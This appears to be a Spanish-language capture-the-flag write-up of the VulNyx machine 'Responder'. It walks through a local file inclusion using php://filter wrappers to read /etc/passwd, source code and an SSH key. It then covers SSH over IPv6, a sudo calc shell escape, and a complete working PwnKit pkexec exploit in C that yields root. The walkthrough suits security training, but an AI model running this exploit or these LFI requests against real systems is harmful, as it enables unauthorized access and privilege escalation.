Responder - Vulnyx

Featured image

Máquina medium de la plataforma VulNyx em la que explotaremos un LFI, haremos uso de php wrappers para leer archivos del sistema, y finalizaremos escalando privilegios con el binario calc y explotando una versión vulnerable de pkexec.

Como en todo CTF comenzamos realizando un reconocimiento de puertos abiertos con nmap.

PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open     http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).

Tenemos el puerto 22 filtered y el puerto 80 abierto con un servidor web Apache/2.4.38.

Abro el navegador para acceder a la dirección ip y ver que tenemos…

your answer is in the answer…

Miro el código fuente y no veo nada relevante por lo que procedo a fuzzear para descubrir rutas o archivos en el servidor web.

En esta ocasión usaré la herramienta feroxbuster para cambiar un poco…

Tras fuzzear encuentro el archivo filemanager.php pero al abrirlo te redirige al index.html… por lo que decido abrir Burpsuite para capturar la petición.

GET /filemanager.php HTTP/1.1
Host: 192.168.0.18
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Al tener un archivo php lo primero que se me ocurre es probar para ver si es vulnerable a Local File Inclusion.

Para ello he de fuzzear de nuevo para obtener el parámetro que he de incluir en la url para poder efectuar el LFI en caso de que lo haya.

Para ello usaré wfuzz.

❯ wfuzz -c --hc=404 --hw=0 -u 'http://192.168.0.18/filemanager.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirb/common.txt 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                    
=====================================================================

000003267:   302        27 L     39 W       1430 Ch     "random"                                                                                                                   

Tras encontrar el parámetro intento leer archivos de la máquina vícitma, como el archivo passwd.

GET /filemanager.php?random=/etc/passwd HTTP/1.1
Host: 192.168.0.18
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Y podemos leer el archivo y ver que existen dos usuarios que me interesan.

elliot y rohit

Intenté leer el rsa de los usuarios pero no tuve suerte… por lo que me acordé de que al acceder a la ruta filemanager.php se me redirigía al index.html, por lo que intento leer el archivo filemanager.php

Pero al intentar leerlo se me arroja el error 500 Internal Server Error…

Existen otras formas de leer archivos a través de un LFI, por lo que buscando encontré los PHP wrappers y vi que se pueden ofuscar archivos en base64 para posteriormente desofuscarlos en mi máquina y acceder al contenido de los mismos.

En otras palabras, el Wrapper filter nos permite encodear el archivo que le especifiquemos, que nos permite poder leer archivos PHP que en otro caso, el navegador simplemente interpretaría directamente.

php://filter

SI al filter le decimos que queremos encodear en base64 el archivo, podremos leer el contenido del mismo.

php://filter/convert.base64-encode/resource=<archivo>

Esto lo conseguimos de la siguiente forma:

GET /filemanager.php?random=php://filter/convert.base64-encode/resource=filemanager.php HTTP/1.1
Host: 192.168.0.18
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Por lo que con curl hago una petición GET al archivo y directamente lo decodifico de base64 a texto plano.

curl -X GET "http://192.168.0.18/filemanager.php?random=php://filter/convert.base64-encode/resource=/var/www/html/filemanager.php" | base64 -d > filemanager.txt

Y tras leer el archivo encuentro una clave privada RSA.

Pero para poder usar esta clave necesitamos averiguar primero la contraseña.. esto lo haré con la herramienta RSAcrack creada por d4t4s3c.

RSAcrack

Haciendo uso del diccionario rockyou.txt consigo obtener la contraseña de la clave privada.

Ahora ya podrías hacer uso de la clave RSA pero recordemos que el puerto 22 está filtered…

Pero hemos comprobado que está filtered por ipv4, pero no por ipv6… por lo que podríamos intentar obtener la dirección ipv6.

Esto lo hacemos leyendo el archivo if_inet6 ubicado en la ruta /proc/net/.

❯ curl -X GET "http://192.168.0.18/filemanager.php?random=php://filter/convert.base64-encode/resource=/proc/net/if_inet6" 2>/dev/null | base64 -d

00000000000000000000000000000001 01 80 10 80       lo
fe800000000000000a0027fffe02f910 02 40 20 80   enp0s3

Y como vemos ya tenemos ahí la dirección ipv6, solo hay que separarla correctamente.

fe80:0000:0000:0000:0a00:27ff:fe02:f910

Una vez separada procedo a conectarme vía SSH usando la clave rsa.

ssh elliot@fe80::a00:27ff:fe02:f910%enp0s17 -i id_rsa

Y porfin he ganado acceso a la máquina, por lo que el siguiente paso es migrarme al usuario rohit.

Lanzo el comando sudo -l para enumerar permisos sudo.

elliot@responder:~$ sudo -l
sudo: unable to resolve host responder: Nombre o servicio desconocido
Matching Defaults entries for elliot on responder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User elliot may run the following commands on responder:
    (rohit) NOPASSWD: /usr/bin/calc
elliot@responder:~$ 

Puedo ejecutar como el usuario rohit el binario calc.

elliot@responder:~$ sudo -u rohit /usr/bin/calc --help

Una vez lo hemos ejecutado solo debemos introducir !bash.

Y ya nos habremos convertido en el usuario rohit.

Y por último nos toca convertirnos en root.

Escalada de Privilegios

Para ello busco archivos con permisos 4000 usando el comando find.

rohit@responder:/home/elliot$ find / -perm -4000 -type f 2>/dev/null | xargs ls -la
-rwsr-xr-x 1 root root        54096 jul 27  2018 /usr/bin/chfn
-rwsr-xr-x 1 root root        44528 jul 27  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root        84016 jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root        51280 ene 10  2019 /usr/bin/mount
-rwsr-xr-x 1 root root        44440 jul 27  2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root        63736 jul 27  2018 /usr/bin/passwd
-rwsr-xr-x 1 root root        23288 ene 15  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root        63568 ene 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root       157192 ene 20  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root        34888 ene 10  2019 /usr/bin/umount
-rwsr-xr-- 1 root messagebus  51184 jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root        10232 mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root       436552 ene 31  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root        18888 ene 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1

Y veo que tenemos el binario pkexec… por lo que primero intento averiguar la versión del binario.

rohit@responder:/home/elliot$ /usr/bin/pkexec --version
pkexec version 0.105

Y busco la forma de escalar privilegios con pkexec versión 0.105

Antes nada compruebo que pkexec es vulnerable… lanzo un script en python llamado Pwnkit Hunter

Pwnkit Hunter

Como vemos es vulnerable, por lo que buscando encuentro un exploit que me puede servir.

Pkexec 0.105

Para ello sigo estos pasos:

Crear archivo evil-so.c y exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {}

void gconv_init() {
    setuid(0);
    setgid(0);
    setgroups(0);

    execve("/bin/sh", NULL, NULL);
}
#include <stdio.h>
#include <stdlib.h>

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
    char *envp[] = {
        DIR,
        "PATH=GCONV_PATH=.",
        "SHELL=ryaagard",
        "CHARSET=ryaagard",
        NULL
    };
    char *argv[] = { NULL };

    system("mkdir GCONV_PATH=.");
    system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
    system("mkdir " DIR);
    system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
    system("cp " EVILSO ".so " DIR);

    execve(BIN, argv, envp);

    return 0;
}

Una vez creados los compilamos

gcc -shared -o evil.so -fPIC evil-so.c
 gcc exploit.c -o exploit

Por último lanzamos el exploit

rohit@responder:/tmp$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

Y porfin somos root y podemos leer la flag root.txt